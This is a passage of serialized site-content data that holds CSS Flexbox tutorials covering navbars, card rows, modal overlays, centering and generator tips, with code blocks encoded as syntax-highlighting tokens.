name).",[11,105991,105993],{"id":105992},"_12-modal-overlay","12. Modal Overlay",[135,105995,105997],{"className":1554,"code":105996,"language":1556,"meta":141,"style":141},".overlay {\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  position: fixed;\n  inset: 0;\n  background: rgba(0, 0, 0, 0.5);\n}\n\n.modal {\n  flex: 0 1 500px; \u002F* Max 500px, shrinks on small screens *\u002F\n}\n",[143,105998,105999,106005,106015,106025,106035,106045,106055,106081,106085,106089,106095,106114],{"__ignoreMap":141},[1560,106000,106001,106003],{"class":1562,"line":1563},[1560,106002,5707],{"class":1566},[1560,106004,1571],{"class":1570},[1560,106006,106007,106009,106011,106013],{"class":1562,"line":337},[1560,106008,12504],{"class":1576},[1560,106010,1663],{"class":1570},[1560,106012,32187],{"class":1576},[1560,106014,2228],{"class":1570},[1560,106016,106017,106019,106021,106023],{"class":1562,"line":343},[1560,106018,32194],{"class":1576},[1560,106020,1663],{"class":1570},[1560,106022,32199],{"class":1576},[1560,106024,2228],{"class":1570},[1560,106026,106027,106029,106031,106033],{"class":1562,"line":365},[1560,106028,32316],{"class":1576},[1560,106030,1663],{"class":1570},[1560,106032,32199],{"class":1576},[1560,106034,2228],{"class":1570},[1560,106036,106037,106039,106041,106043],{"class":1562,"line":889},[1560,106038,5642],{"class":1576},[1560,106040,1663],{"class":1570},[1560,106042,66296],{"class":1576},[1560,106044,2228],{"class":1570},[1560,106046,106047,106049,106051,106053],{"class":1562,"line":1710},[1560,106048,5654],{"class":1576},[1560,106050,1663],{"class":1570},[1560,106052,5285],{"class":1576},[1560,106054,2228],{"class":1570},[1560,106056,106057,106059,106061,106063,106065,106067,106069,106071,106073,106075,106077,106079],{"class":1562,"line":1717},[1560,106058,5665],{"class":1576},[1560,106060,1663],{"class":1570},[1560,106062,5670],{"class":1576},[1560,106064,1688],{"class":1570},[1560,106066,5285],{"class":1576},[1560,106068,1459],{"class":1570},[1560,106070,5285],{"class":1576},[1560,106072,1459],{"class":1570},[1560,106074,5285],{"class":1576},[1560,106076,1459],{"class":1570},[1560,106078,5687],{"class":1576},[1560,106080,1744],{"class":1570},[1560,106082,106083],{"class":1562,"line":1747},[1560,106084,1585],{"class":1570},[1560,106086,106087],{"class":1562,"line":2507},[1560,106088,1702],{"emptyLinePlaceholder":363},[1560,106090,106091,106093],{"class":1562,"line":2524},[1560,106092,48177],{"class":1566},[1560,106094,1571],{"class":1570},[1560,106096,106097,106099,106101,106103,106105,106107,106109,106111],{"class":1562,"line":2529},[1560,106098,32292],{"class":1576},[1560,106100,1663],{"class":1570},[1560,106102,5285],{"class":1576},[1560,106104,18868],{"class":1576},[1560,106106,33565],{"class":1576},[1560,106108,1670],{"class":1669},[1560,106110,3664],{"class":1570},[1560,106112,106113],{"class":1649},"\u002F* Max 500px, shrinks on small screens *\u002F\n",[1560,106115,106116],{"class":1562,"line":2534},[1560,106117,1585],{"class":1570},[16,106119,106120],{},"The overlay fills the viewport and centers the modal. The modal caps at 500px but shrinks gracefully on narrow viewports.",[11,106122,88351],{"id":88350},[193,106124,106125,106134],{},[196,106126,106127],{},[199,106128,106129,106131],{},[202,106130,18376],{},[202,106132,106133],{},"Key Properties",[211,106135,106136,106148,106160,106172,106184,106195,106205,106216,106229,106240,106252,106260],{},[199,106137,106138,106141],{},[216,106139,106140],{},"Nav bar",[216,106142,106143,106145,106146],{},[143,106144,32371],{}," spacer, ",[143,106147,32859],{},[199,106149,106150,106153],{},[216,106151,106152],{},"Hero",[216,106154,106155,1459,106158],{},[143,106156,106157],{},"flex-direction: column",[143,106159,32855],{},[199,106161,106162,106165],{},[216,106163,106164],{},"Card row",[216,106166,106167,1459,106170],{},[143,106168,106169],{},"flex: 0 0 Npx",[143,106171,33449],{},[199,106173,106174,106177],{},[216,106175,106176],{},"Card grid",[216,106178,106179,1459,106181],{},[143,106180,33607],{},[143,106182,106183],{},"flex: 1 1 Npx",[199,106185,106186,106189],{},[216,106187,106188],{},"Sticky footer",[216,106190,106191,106192,106194],{},"Column direction, ",[143,106193,32371],{}," on content",[199,106196,106197,106200],{},[216,106198,106199],{},"Holy grail",[216,106201,106202,106204],{},[143,106203,33607],{},", proportional flex values",[199,106206,106207,106210],{},[216,106208,106209],{},"Media object",[216,106211,106212,106213,106215],{},"Fixed image, ",[143,106214,32371],{}," on body",[199,106217,106218,106221],{},[216,106219,106220],{},"Input group",[216,106222,106223,106225,106226,106228],{},[143,106224,32371],{}," on input, ",[143,106227,32640],{}," on button",[199,106230,106231,106234],{},[216,106232,106233],{},"Tag list",[216,106235,106236,1459,106238],{},[143,106237,33607],{},[143,106239,58563],{},[199,106241,106242,106245],{},[216,106243,106244],{},"Sidebar + content",[216,106246,106247,106248,21111,106250,106194],{},"Fixed sidebar, ",[143,106249,32371],{},[143,106251,32647],{},[199,106253,106254,106257],{},[216,106255,106256],{},"Stacked form",[216,106258,106259],{},"Column direction, row splits",[199,106261,106262,106265],{},[216,106263,106264],{},"Modal overlay",[216,106266,106267,106268],{},"Fixed positioning, centered with ",[143,106269,65719],{},[11,106271,1355],{"id":1354},[41,106273,106274,106279,106285,106292,106297,106303],{},[44,106275,106276,106278],{},[143,106277,32371],{}," spacers solve the \"push items right\" problem in navigation bars.",[44,106280,106281,106282,106284],{},"Equal-height cards come free with Flexbox — no ",[143,106283,1873],{}," hacks needed.",[44,106286,106287,76589,106289,106291],{},[143,106288,33607],{},[143,106290,106183],{}," builds responsive grids without media queries.",[44,106293,74771,106294,106296],{},[143,106295,32647],{}," on flex children that contain long text to prevent overflow.",[44,106298,106299,106300,106302],{},"Sticky footer is trivial with column direction and ",[143,106301,32371],{}," on the content area.",[44,106304,106305],{},"These patterns compose — combine sidebar + content with sticky footer for a full page layout.",[11,106307,286],{"id":285},[16,106309,106310,106311,468],{},"Build and customize any of these layouts interactively with the ",[98,106312,33649],{"href":33648},[2043,106314,33653],{},{"title":141,"searchDepth":337,"depth":337,"links":106316},[106317,106318,106319,106320,106321,106322,106323,106324,106325,106326,106327,106328,106329,106330,106331,106332],{"id":104951,"depth":337,"text":104952},{"id":104961,"depth":337,"text":104962},{"id":105046,"depth":337,"text":105047},{"id":105130,"depth":337,"text":105131},{"id":105243,"depth":337,"text":105244},{"id":105334,"depth":337,"text":105335},{"id":105415,"depth":337,"text":105416},{"id":105539,"depth":337,"text":105540},{"id":105610,"depth":337,"text":105611},{"id":105704,"depth":337,"text":105705},{"id":105758,"depth":337,"text":105759},{"id":105872,"depth":337,"text":105873},{"id":105992,"depth":337,"text":105993},{"id":88350,"depth":337,"text":88351},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Navigation bars, card grids, holy grail layout, and other patterns you build daily with Flexbox.",{"immutable":363},"\u002Fguides\u002Fflexbox-common-patterns",{"title":104946,"description":106333},"guides\u002Fflexbox-common-patterns","aTKmxOxg06XPuMLjnqzbxJYPFncAU82NrTTx4Tx1tTE",{"id":106340,"title":106341,"body":106342,"date":2070,"description":107355,"extension":361,"meta":107356,"navigation":363,"path":59528,"readingTime":889,"seo":107357,"stem":107358,"__hash__":107359},"guides\u002Fguides\u002Fflexbox-generator-guide.md","Flexbox Generator Guide: Build CSS Flex Layouts Visually",{"type":8,"value":106343,"toc":107336},[106344,106348,106356,106359,106363,106366,106412,106416,106420,106426,106451,106454,106458,106463,106512,106591,106599,106628,106636,106675,106679,106684,106749,106829,106833,106840,106897,106959,106962,106964,106966,106969,107076,107080,107083,107164,107168,107171,107217,107221,107269,107271,107306,107308,107315,107317,107333],[11,106345,106347],{"id":106346},"what-is-a-flexbox-generator","What Is a Flexbox Generator?",[16,106349,106350,106351,1856,106353,106355],{},"A flexbox generator is an interactive tool that lets you build CSS flex layouts by adjusting visual controls instead of writing code by hand. You pick properties like ",[143,106352,58162],{},[143,106354,41171],{},", and the tool generates production-ready CSS instantly.",[16,106357,106358],{},"Flexbox is powerful but its property组合 can be tricky to memorize. A generator removes the guesswork — you see the result in real time and copy the code when it looks right.",[11,106360,106362],{"id":106361},"why-use-a-flexbox-generator","Why Use a Flexbox Generator?",[16,106364,106365],{},"Writing flex CSS from scratch works fine for simple cases. But when you need to align items across both axes, handle wrapping, or debug why a layout collapses, a visual tool saves time.",[193,106367,106368,106378],{},[196,106369,106370],{},[199,106371,106372,106375],{},[202,106373,106374],{},"Benefit",[202,106376,106377],{},"What It Gives You",[211,106379,106380,106388,106396,106404],{},[199,106381,106382,106385],{},[216,106383,106384],{},"Instant feedback",[216,106386,106387],{},"See layout changes as you adjust properties",[199,106389,106390,106393],{},[216,106391,106392],{},"No syntax errors",[216,106394,106395],{},"Generated CSS is always valid",[199,106397,106398,106401],{},[216,106399,106400],{},"Learning aid",[216,106402,106403],{},"Understand how each property affects the layout",[199,106405,106406,106409],{},[216,106407,106408],{},"Faster workflow",[216,106410,106411],{},"Click, preview, copy — skip the edit-refresh cycle",[11,106413,106415],{"id":106414},"step-by-step-core-flex-properties","Step-by-Step: Core Flex Properties",[33,106417,106419],{"id":106418},"_1-set-the-flex-container","1. Set the Flex Container",[16,106421,106422,106423,106425],{},"Every flex layout starts with a container. Add ",[143,106424,58109],{}," to activate flexbox on a parent element.",[135,106427,106429],{"className":1554,"code":106428,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n}\n",[143,106430,106431,106437,106447],{"__ignoreMap":141},[1560,106432,106433,106435],{"class":1562,"line":1563},[1560,106434,1655],{"class":1566},[1560,106436,1571],{"class":1570},[1560,106438,106439,106441,106443,106445],{"class":1562,"line":337},[1560,106440,12504],{"class":1576},[1560,106442,1663],{"class":1570},[1560,106444,32187],{"class":1576},[1560,106446,2228],{"class":1570},[1560,106448,106449],{"class":1562,"line":343},[1560,106450,1585],{"class":1570},[16,106452,106453],{},"This turns all direct children into flex items. They line up in a row by default — no floats, no inline-block hacks needed.",[33,106455,106457],{"id":106456},"_2-choose-a-direction-with-flex-direction","2. Choose a Direction with flex-direction",[16,106459,421,106460,106462],{},[143,106461,58162],{}," property controls the main axis — the direction flex items flow.",[193,106464,106465,106474],{},[196,106466,106467],{},[199,106468,106469,106471],{},[202,106470,1769],{},[202,106472,106473],{},"Direction",[211,106475,106476,106485,106494,106503],{},[199,106477,106478,106482],{},[216,106479,106480],{},[143,106481,58185],{},[216,106483,106484],{},"Left to right (default)",[199,106486,106487,106491],{},[216,106488,106489],{},[143,106490,58195],{},[216,106492,106493],{},"Right to left",[199,106495,106496,106500],{},[216,106497,106498],{},[143,106499,32691],{},[216,106501,106502],{},"Top to bottom",[199,106504,106505,106509],{},[216,106506,106507],{},[143,106508,58214],{},[216,106510,106511],{},"Bottom to top",[135,106513,106515],{"className":1554,"code":106514,"language":1556,"meta":141,"style":141},"\u002F* Horizontal nav bar *\u002F\n.nav {\n  display: flex;\n  flex-direction: row;\n}\n\n\u002F* Vertical sidebar menu *\u002F\n.sidebar {\n  display: flex;\n  flex-direction: column;\n}\n",[143,106516,106517,106522,106528,106538,106548,106552,106556,106561,106567,106577,106587],{"__ignoreMap":141},[1560,106518,106519],{"class":1562,"line":1563},[1560,106520,106521],{"class":1649},"\u002F* Horizontal nav bar *\u002F\n",[1560,106523,106524,106526],{"class":1562,"line":337},[1560,106525,64902],{"class":1566},[1560,106527,1571],{"class":1570},[1560,106529,106530,106532,106534,106536],{"class":1562,"line":343},[1560,106531,12504],{"class":1576},[1560,106533,1663],{"class":1570},[1560,106535,32187],{"class":1576},[1560,106537,2228],{"class":1570},[1560,106539,106540,106542,106544,106546],{"class":1562,"line":365},[1560,106541,32686],{"class":1576},[1560,106543,1663],{"class":1570},[1560,106545,58185],{"class":1576},[1560,106547,2228],{"class":1570},[1560,106549,106550],{"class":1562,"line":889},[1560,106551,1585],{"class":1570},[1560,106553,106554],{"class":1562,"line":1710},[1560,106555,1702],{"emptyLinePlaceholder":363},[1560,106557,106558],{"class":1562,"line":1717},[1560,106559,106560],{"class":1649},"\u002F* Vertical sidebar menu *\u002F\n",[1560,106562,106563,106565],{"class":1562,"line":1747},[1560,106564,33518],{"class":1566},[1560,106566,1571],{"class":1570},[1560,106568,106569,106571,106573,106575],{"class":1562,"line":2507},[1560,106570,12504],{"class":1576},[1560,106572,1663],{"class":1570},[1560,106574,32187],{"class":1576},[1560,106576,2228],{"class":1570},[1560,106578,106579,106581,106583,106585],{"class":1562,"line":2524},[1560,106580,32686],{"class":1576},[1560,106582,1663],{"class":1570},[1560,106584,32691],{"class":1576},[1560,106586,2228],{"class":1570},[1560,106588,106589],{"class":1562,"line":2529},[1560,106590,1585],{"class":1570},[16,106592,106593,106595,106596,8037],{},[47,106594,52091],{}," — a vertical list using ",[143,106597,106598],{},"display: block",[135,106600,106602],{"className":1554,"code":106601,"language":1556,"meta":141,"style":141},".menu-item {\n  display: block;  \u002F* stacks vertically *\u002F\n}\n",[143,106603,106604,106611,106624],{"__ignoreMap":141},[1560,106605,106606,106609],{"class":1562,"line":1563},[1560,106607,106608],{"class":1566},".menu-item",[1560,106610,1571],{"class":1570},[1560,106612,106613,106615,106617,106619,106621],{"class":1562,"line":337},[1560,106614,12504],{"class":1576},[1560,106616,1663],{"class":1570},[1560,106618,7680],{"class":1576},[1560,106620,3409],{"class":1570},[1560,106622,106623],{"class":1649},"\u002F* stacks vertically *\u002F\n",[1560,106625,106626],{"class":1562,"line":343},[1560,106627,1585],{"class":1570},[16,106629,106630,106632,106633,8037],{},[47,106631,52094],{}," — a horizontal row using ",[143,106634,106635],{},"flex-direction: row",[135,106637,106639],{"className":1554,"code":106638,"language":1556,"meta":141,"style":141},".menu {\n  display: flex;\n  flex-direction: row;  \u002F* lines up side by side *\u002F\n}\n",[143,106640,106641,106648,106658,106671],{"__ignoreMap":141},[1560,106642,106643,106646],{"class":1562,"line":1563},[1560,106644,106645],{"class":1566},".menu",[1560,106647,1571],{"class":1570},[1560,106649,106650,106652,106654,106656],{"class":1562,"line":337},[1560,106651,12504],{"class":1576},[1560,106653,1663],{"class":1570},[1560,106655,32187],{"class":1576},[1560,106657,2228],{"class":1570},[1560,106659,106660,106662,106664,106666,106668],{"class":1562,"line":343},[1560,106661,32686],{"class":1576},[1560,106663,1663],{"class":1570},[1560,106665,58185],{"class":1576},[1560,106667,3409],{"class":1570},[1560,106669,106670],{"class":1649},"\u002F* lines up side by side *\u002F\n",[1560,106672,106673],{"class":1562,"line":365},[1560,106674,1585],{"class":1570},[33,106676,106678],{"id":106677},"_3-distribute-space-with-justify-content","3. Distribute Space with justify-content",[16,106680,106681,106683],{},[143,106682,41171],{}," aligns items along the main axis. It controls how free space is distributed.",[193,106685,106686,106694],{},[196,106687,106688],{},[199,106689,106690,106692],{},[202,106691,1769],{},[202,106693,29641],{},[211,106695,106696,106705,106714,106723,106732,106740],{},[199,106697,106698,106702],{},[216,106699,106700],{},[143,106701,32539],{},[216,106703,106704],{},"Items pack to the start (default)",[199,106706,106707,106711],{},[216,106708,106709],{},[143,106710,58386],{},[216,106712,106713],{},"Items pack to the end",[199,106715,106716,106720],{},[216,106717,106718],{},[143,106719,32199],{},[216,106721,106722],{},"Items center in the container",[199,106724,106725,106729],{},[216,106726,106727],{},[143,106728,41176],{},[216,106730,106731],{},"Even space between items, no edge space",[199,106733,106734,106738],{},[216,106735,106736],{},[143,106737,58414],{},[216,106739,58417],{},[199,106741,106742,106746],{},[216,106743,106744],{},[143,106745,58424],{},[216,106747,106748],{},"Equal space between and at edges",[135,106750,106752],{"className":1554,"code":106751,"language":1556,"meta":141,"style":141},"\u002F* Center a login form *\u002F\n.login-form {\n  display: flex;\n  justify-content: center;\n}\n\n\u002F* Spread nav links across the bar *\u002F\n.nav {\n  display: flex;\n  justify-content: space-between;\n}\n",[143,106753,106754,106759,106766,106776,106786,106790,106794,106799,106805,106815,106825],{"__ignoreMap":141},[1560,106755,106756],{"class":1562,"line":1563},[1560,106757,106758],{"class":1649},"\u002F* Center a login form *\u002F\n",[1560,106760,106761,106764],{"class":1562,"line":337},[1560,106762,106763],{"class":1566},".login-form",[1560,106765,1571],{"class":1570},[1560,106767,106768,106770,106772,106774],{"class":1562,"line":343},[1560,106769,12504],{"class":1576},[1560,106771,1663],{"class":1570},[1560,106773,32187],{"class":1576},[1560,106775,2228],{"class":1570},[1560,106777,106778,106780,106782,106784],{"class":1562,"line":365},[1560,106779,32316],{"class":1576},[1560,106781,1663],{"class":1570},[1560,106783,32199],{"class":1576},[1560,106785,2228],{"class":1570},[1560,106787,106788],{"class":1562,"line":889},[1560,106789,1585],{"class":1570},[1560,106791,106792],{"class":1562,"line":1710},[1560,106793,1702],{"emptyLinePlaceholder":363},[1560,106795,106796],{"class":1562,"line":1717},[1560,106797,106798],{"class":1649},"\u002F* Spread nav links across the bar *\u002F\n",[1560,106800,106801,106803],{"class":1562,"line":1747},[1560,106802,64902],{"class":1566},[1560,106804,1571],{"class":1570},[1560,106806,106807,106809,106811,106813],{"class":1562,"line":2507},[1560,106808,12504],{"class":1576},[1560,106810,1663],{"class":1570},[1560,106812,32187],{"class":1576},[1560,106814,2228],{"class":1570},[1560,106816,106817,106819,106821,106823],{"class":1562,"line":2524},[1560,106818,32316],{"class":1576},[1560,106820,1663],{"class":1570},[1560,106822,41176],{"class":1576},[1560,106824,2228],{"class":1570},[1560,106826,106827],{"class":1562,"line":2529},[1560,106828,1585],{"class":1570},[33,106830,106832],{"id":106831},"_4-align-items-on-the-cross-axis","4. Align Items on the Cross Axis",[16,106834,106835,106837,106838,9368],{},[143,106836,51743],{}," controls how items sit on the cross axis (perpendicular to ",[143,106839,58162],{},[193,106841,106842,106850],{},[196,106843,106844],{},[199,106845,106846,106848],{},[202,106847,1769],{},[202,106849,29641],{},[211,106851,106852,106861,106870,106879,106888],{},[199,106853,106854,106858],{},[216,106855,106856],{},[143,106857,33070],{},[216,106859,106860],{},"Items fill the container height (default)",[199,106862,106863,106867],{},[216,106864,106865],{},[143,106866,32539],{},[216,106868,106869],{},"Items align to the top",[199,106871,106872,106876],{},[216,106873,106874],{},[143,106875,58386],{},[216,106877,106878],{},"Items align to the bottom",[199,106880,106881,106885],{},[216,106882,106883],{},[143,106884,32199],{},[216,106886,106887],{},"Items vertically centered",[199,106889,106890,106894],{},[216,106891,106892],{},[143,106893,58489],{},[216,106895,106896],{},"Items align by text baseline",[135,106898,106900],{"className":1554,"code":106899,"language":1556,"meta":141,"style":141},"\u002F* Perfect centering — both axes *\u002F\n.hero {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n}\n",[143,106901,106902,106907,106913,106923,106933,106943,106955],{"__ignoreMap":141},[1560,106903,106904],{"class":1562,"line":1563},[1560,106905,106906],{"class":1649},"\u002F* Perfect centering — both axes *\u002F\n",[1560,106908,106909,106911],{"class":1562,"line":337},[1560,106910,32789],{"class":1566},[1560,106912,1571],{"class":1570},[1560,106914,106915,106917,106919,106921],{"class":1562,"line":343},[1560,106916,12504],{"class":1576},[1560,106918,1663],{"class":1570},[1560,106920,32187],{"class":1576},[1560,106922,2228],{"class":1570},[1560,106924,106925,106927,106929,106931],{"class":1562,"line":365},[1560,106926,32316],{"class":1576},[1560,106928,1663],{"class":1570},[1560,106930,32199],{"class":1576},[1560,106932,2228],{"class":1570},[1560,106934,106935,106937,106939,106941],{"class":1562,"line":889},[1560,106936,32194],{"class":1576},[1560,106938,1663],{"class":1570},[1560,106940,32199],{"class":1576},[1560,106942,2228],{"class":1570},[1560,106944,106945,106947,106949,106951,106953],{"class":1562,"line":1710},[1560,106946,12400],{"class":1576},[1560,106948,1663],{"class":1570},[1560,106950,18114],{"class":1576},[1560,106952,32705],{"class":1669},[1560,106954,2228],{"class":1570},[1560,106956,106957],{"class":1562,"line":1717},[1560,106958,1585],{"class":1570},[16,106960,106961],{},"Centering content used to require margin hacks or absolute positioning. With flexbox, it is four lines of CSS.",[11,106963,103922],{"id":103921},[33,106965,32163],{"id":32162},[16,106967,106968],{},"A horizontal navbar with links on the left and a button on the right.",[135,106970,106972],{"className":1554,"code":106971,"language":1556,"meta":141,"style":141},".navbar {\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n  padding: 0 1.5rem;\n  height: 64px;\n}\n\n.navbar-links {\n  display: flex;\n  gap: 1.5rem;\n}\n",[143,106973,106974,106980,106990,107000,107010,107024,107036,107040,107044,107050,107060,107072],{"__ignoreMap":141},[1560,106975,106976,106978],{"class":1562,"line":1563},[1560,106977,32176],{"class":1566},[1560,106979,1571],{"class":1570},[1560,106981,106982,106984,106986,106988],{"class":1562,"line":337},[1560,106983,12504],{"class":1576},[1560,106985,1663],{"class":1570},[1560,106987,32187],{"class":1576},[1560,106989,2228],{"class":1570},[1560,106991,106992,106994,106996,106998],{"class":1562,"line":343},[1560,106993,32316],{"class":1576},[1560,106995,1663],{"class":1570},[1560,106997,41176],{"class":1576},[1560,106999,2228],{"class":1570},[1560,107001,107002,107004,107006,107008],{"class":1562,"line":365},[1560,107003,32194],{"class":1576},[1560,107005,1663],{"class":1570},[1560,107007,32199],{"class":1576},[1560,107009,2228],{"class":1570},[1560,107011,107012,107014,107016,107018,107020,107022],{"class":1562,"line":889},[1560,107013,18186],{"class":1576},[1560,107015,1663],{"class":1570},[1560,107017,5285],{"class":1576},[1560,107019,32212],{"class":1576},[1560,107021,32215],{"class":1669},[1560,107023,2228],{"class":1570},[1560,107025,107026,107028,107030,107032,107034],{"class":1562,"line":1710},[1560,107027,12400],{"class":1576},[1560,107029,1663],{"class":1570},[1560,107031,32226],{"class":1576},[1560,107033,1670],{"class":1669},[1560,107035,2228],{"class":1570},[1560,107037,107038],{"class":1562,"line":1717},[1560,107039,1585],{"class":1570},[1560,107041,107042],{"class":1562,"line":1747},[1560,107043,1702],{"emptyLinePlaceholder":363},[1560,107045,107046,107048],{"class":1562,"line":2507},[1560,107047,32285],{"class":1566},[1560,107049,1571],{"class":1570},[1560,107051,107052,107054,107056,107058],{"class":1562,"line":2524},[1560,107053,12504],{"class":1576},[1560,107055,1663],{"class":1570},[1560,107057,32187],{"class":1576},[1560,107059,2228],{"class":1570},[1560,107061,107062,107064,107066,107068,107070],{"class":1562,"line":2529},[1560,107063,32235],{"class":1576},[1560,107065,1663],{"class":1570},[1560,107067,18515],{"class":1576},[1560,107069,32215],{"class":1669},[1560,107071,2228],{"class":1570},[1560,107073,107074],{"class":1562,"line":2534},[1560,107075,1585],{"class":1570},[33,107077,107079],{"id":107078},"card-row","Card Row",[16,107081,107082],{},"A row of equal-width cards that wraps on small screens.",[135,107084,107086],{"className":1554,"code":107085,"language":1556,"meta":141,"style":141},".card-row {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 1rem;\n}\n\n.card {\n  flex: 1 1 280px; \u002F* grow, shrink, min-width before wrap *\u002F\n}\n",[143,107087,107088,107094,107104,107114,107126,107130,107134,107140,107160],{"__ignoreMap":141},[1560,107089,107090,107092],{"class":1562,"line":1563},[1560,107091,32389],{"class":1566},[1560,107093,1571],{"class":1570},[1560,107095,107096,107098,107100,107102],{"class":1562,"line":337},[1560,107097,12504],{"class":1576},[1560,107099,1663],{"class":1570},[1560,107101,32187],{"class":1576},[1560,107103,2228],{"class":1570},[1560,107105,107106,107108,107110,107112],{"class":1562,"line":343},[1560,107107,32406],{"class":1576},[1560,107109,1663],{"class":1570},[1560,107111,32411],{"class":1576},[1560,107113,2228],{"class":1570},[1560,107115,107116,107118,107120,107122,107124],{"class":1562,"line":365},[1560,107117,32235],{"class":1576},[1560,107119,1663],{"class":1570},[1560,107121,3585],{"class":1576},[1560,107123,32215],{"class":1669},[1560,107125,2228],{"class":1570},[1560,107127,107128],{"class":1562,"line":889},[1560,107129,1585],{"class":1570},[1560,107131,107132],{"class":1562,"line":1710},[1560,107133,1702],{"emptyLinePlaceholder":363},[1560,107135,107136,107138],{"class":1562,"line":1717},[1560,107137,1567],{"class":1566},[1560,107139,1571],{"class":1570},[1560,107141,107142,107144,107146,107148,107150,107153,107155,107157],{"class":1562,"line":1747},[1560,107143,32292],{"class":1576},[1560,107145,1663],{"class":1570},[1560,107147,3585],{"class":1576},[1560,107149,18868],{"class":1576},[1560,107151,107152],{"class":1576}," 280",[1560,107154,1670],{"class":1669},[1560,107156,3664],{"class":1570},[1560,107158,107159],{"class":1649},"\u002F* grow, shrink, min-width before wrap *\u002F\n",[1560,107161,107162],{"class":1562,"line":2507},[1560,107163,1585],{"class":1570},[33,107165,107167],{"id":107166},"perfect-centering","Perfect Centering",[16,107169,107170],{},"The classic use case — center anything both horizontally and vertically.",[135,107172,107174],{"className":1554,"code":107173,"language":1556,"meta":141,"style":141},".centered {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n}\n",[143,107175,107176,107183,107193,107203,107213],{"__ignoreMap":141},[1560,107177,107178,107181],{"class":1562,"line":1563},[1560,107179,107180],{"class":1566},".centered",[1560,107182,1571],{"class":1570},[1560,107184,107185,107187,107189,107191],{"class":1562,"line":337},[1560,107186,12504],{"class":1576},[1560,107188,1663],{"class":1570},[1560,107190,32187],{"class":1576},[1560,107192,2228],{"class":1570},[1560,107194,107195,107197,107199,107201],{"class":1562,"line":343},[1560,107196,32316],{"class":1576},[1560,107198,1663],{"class":1570},[1560,107200,32199],{"class":1576},[1560,107202,2228],{"class":1570},[1560,107204,107205,107207,107209,107211],{"class":1562,"line":365},[1560,107206,32194],{"class":1576},[1560,107208,1663],{"class":1570},[1560,107210,32199],{"class":1576},[1560,107212,2228],{"class":1570},[1560,107214,107215],{"class":1562,"line":889},[1560,107216,1585],{"class":1570},[11,107218,107220],{"id":107219},"tips-for-getting-the-most-from-a-generator","Tips for Getting the Most from a Generator",[41,107222,107223,107234,107245,107254,107263],{},[44,107224,107225,107228,107229,1856,107231,107233],{},[47,107226,107227],{},"Start with the container."," Set ",[143,107230,58109],{},[143,107232,58162],{}," first — everything else builds on those choices.",[44,107235,107236,107239,107240,107242,107243,468],{},[47,107237,107238],{},"Adjust one property at a time."," Change ",[143,107241,41171],{},", observe the shift, then move to ",[143,107244,51743],{},[44,107246,107247,107250,107251,107253],{},[47,107248,107249],{},"Watch the gap property."," Use ",[143,107252,58563],{}," instead of margins for consistent spacing between flex items.",[44,107255,107256,107259,107260,107262],{},[47,107257,107258],{},"Test wrapping."," Toggle ",[143,107261,33607],{}," and resize items to see how the layout adapts.",[44,107264,107265,107268],{},[47,107266,107267],{},"Copy clean code."," A good generator outputs only the properties you changed — no bloated CSS.",[11,107270,1355],{"id":1354},[41,107272,107273,107276,107284,107289,107294,107299],{},[44,107274,107275],{},"A flexbox generator lets you build layouts visually and copy the resulting CSS",[44,107277,107278,107280,107281,107283],{},[143,107279,58162],{}," defines the main axis; ",[143,107282,41171],{}," distributes space along it",[44,107285,107286,107288],{},[143,107287,51743],{}," controls the cross-axis alignment",[44,107290,107291,107293],{},[143,107292,58256],{}," enables items to flow into multiple lines",[44,107295,421,107296,107298],{},[143,107297,58563],{}," property replaces margin-based spacing between items",[44,107300,107301,107302,21111,107304],{},"Perfect centering is just ",[143,107303,32855],{},[143,107305,32859],{},[11,107307,286],{"id":285},[16,107309,107310,107311,107314],{},"Build flex layouts interactively with our ",[98,107312,33649],{"href":59517,"rel":107313},[14956],". Adjust direction, alignment, wrapping, and spacing — then copy the CSS straight into your project.",[11,107316,321],{"id":320},[41,107318,107319,107323,107328],{},[44,107320,107321,67061],{},[98,107322,67060],{"href":59577},[44,107324,107325,107327],{},[98,107326,59536],{"href":59535}," — Compare Flexbox vs Grid vs traditional approaches",[44,107329,107330,107332],{},[98,107331,49355],{"href":49354}," — Combine flexbox with gradients and shadows for polished UIs",[2043,107334,107335],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":107337},[107338,107339,107340,107346,107351,107352,107353,107354],{"id":106346,"depth":337,"text":106347},{"id":106361,"depth":337,"text":106362},{"id":106414,"depth":337,"text":106415,"children":107341},[107342,107343,107344,107345],{"id":106418,"depth":343,"text":106419},{"id":106456,"depth":343,"text":106457},{"id":106677,"depth":343,"text":106678},{"id":106831,"depth":343,"text":106832},{"id":103921,"depth":337,"text":103922,"children":107347},[107348,107349,107350],{"id":32162,"depth":343,"text":32163},{"id":107078,"depth":343,"text":107079},{"id":107166,"depth":343,"text":107167},{"id":107219,"depth":337,"text":107220},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to use a flexbox generator to create CSS flex layouts visually. Step-by-step guide to flex-direction, justify-content, and 